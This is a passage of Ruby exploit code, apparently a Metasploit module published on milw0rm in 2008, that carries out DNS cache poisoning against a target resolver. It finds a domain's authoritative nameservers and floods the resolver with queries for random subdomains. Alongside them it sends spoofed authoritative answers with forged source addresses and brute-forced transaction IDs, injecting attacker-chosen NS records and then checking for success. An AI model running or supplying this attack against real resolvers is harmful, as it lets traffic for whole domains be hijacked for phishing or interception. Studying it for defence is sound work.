&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer = Resolv::DNS::Message.decode(answer)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer.each_answer do |name, ttl, data|

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if((name.to_s + ".") == domain and data.name.to_s == newdns)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t = Time.now + ttl
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Failure: This domain is already using #{newdns} as a nameserver")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status(" &nbsp; &nbsp; &nbsp; &nbsp; Cache entry expires on #{t.to_s}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.close
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; disconnect_ip
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end until not cached
&nbsp; &nbsp; &nbsp; &nbsp; rescue ::Interrupt
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raise $!
&nbsp; &nbsp; &nbsp; &nbsp; rescue ::Exception =&gt; e
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
&nbsp; &nbsp; &nbsp; &nbsp; end


&nbsp; &nbsp; &nbsp; &nbsp; res0 = Net::DNS::Resolver.new(:nameservers =&gt; [recons], :dns_search =&gt; false, :recursive =&gt; true) # reconnaissance resolver

&nbsp; &nbsp; &nbsp; &nbsp; print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"

&nbsp; &nbsp; &nbsp; &nbsp; # Look up the nameservers for the domain
&nbsp; &nbsp; &nbsp; &nbsp; print_status "Querying recon nameserver for #{domain}'s nameservers..."
&nbsp; &nbsp; &nbsp; &nbsp; answer0 = res0.send(domain, Net::DNS::NS)
&nbsp; &nbsp; &nbsp; &nbsp; #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

&nbsp; &nbsp; &nbsp; &nbsp; barbs = [] # storage for nameservers
&nbsp; &nbsp; &nbsp; &nbsp; answer0.answer.each do |rr0|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status " Got an #{rr0.type} record: #{rr0.inspect}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if rr0.type == 'NS'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status " &nbsp;Querying recon nameserver for address of #{rr0.nsdname}..."
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer1.answer.each do |rr1|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status " &nbsp; Got an #{rr1.type} record: #{rr1.inspect}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res2 = Net::DNS::Resolver.new(:nameservers =&gt; rr1.address, :dns_search =&gt; false, :recursive =&gt; false, :retry =&gt; 1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status " &nbsp; &nbsp;Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer2 = res2.send(domain)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if answer2 and answer2.header.auth? and answer2.header.anCount &gt;= 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nsrec = {:name =&gt; rr0.nsdname, :addr =&gt; rr1.address}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; barbs &lt;&lt; nsrec
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status " &nbsp; &nbsp;#{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; if barbs.length == 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status( "No DNS servers found.")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.close
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; disconnect_ip
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; # Flood the target with queries and spoofed responses, one will eventually hit
&nbsp; &nbsp; &nbsp; &nbsp; queries = 0
&nbsp; &nbsp; &nbsp; &nbsp; responses = 0

&nbsp; &nbsp; &nbsp; &nbsp; connect_ip if not ip_sock

&nbsp; &nbsp; &nbsp; &nbsp; print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")

&nbsp; &nbsp; &nbsp; &nbsp; while true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Send spoofed query
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req = Resolv::DNS::Message.new
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.id = rand(2**16)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.add_question(randhost, Resolv::DNS::Resource::IN::A)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.rd = 1

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buff = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Scruby::IP.new(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #:src &nbsp; =&gt; barbs[0][:addr].to_s,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :src &nbsp; =&gt; source,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :dst &nbsp; =&gt; target,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :proto =&gt; 17
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )/Scruby::UDP.new(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :sport =&gt; (rand((2**16)-1024)+1024).to_i,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :dport =&gt; 53
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )/req.encode
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ).to_net
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip_sock.sendto(buff, target)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; queries += 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.qr = 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.aa = 1

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xidbase.upto(xidbase+xids-1) do |id|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.id = id
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; barbs.each do |barb|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buff = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Scruby::IP.new(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #:src &nbsp; =&gt; barbs[i][:addr].to_s,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :src &nbsp; =&gt; barb[:addr].to_s,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :dst &nbsp; =&gt; target,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :proto =&gt; 17
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )/Scruby::UDP.new(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :sport =&gt; 53,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :dport =&gt; sport.to_i
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )/req.encode
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ).to_net
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip_sock.sendto(buff, target)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responses += 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # status update
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if queries % 1000 == 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Sent #{queries} queries and #{responses} spoofed responses...")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # every so often, check and see if the target is poisoned...
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if queries % 250 == 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; query = Resolv::DNS::Message.new
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; query.add_question(domain, Resolv::DNS::Resource::IN::NS)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; query.rd = 0
&nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.put(query.encode)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer, addr = srv_sock.recvfrom()

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if answer and answer.length &gt; 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer = Resolv::DNS::Message.decode(answer)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer.each_answer do |name, ttl, data|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if((name.to_s + ".") == domain and data.name.to_s == newdns)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.close
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; disconnect_ip
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rescue ::Interrupt
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raise $!
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rescue ::Exception =&gt; e
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; end

end
end

# milw0rm.com [2008-07-23]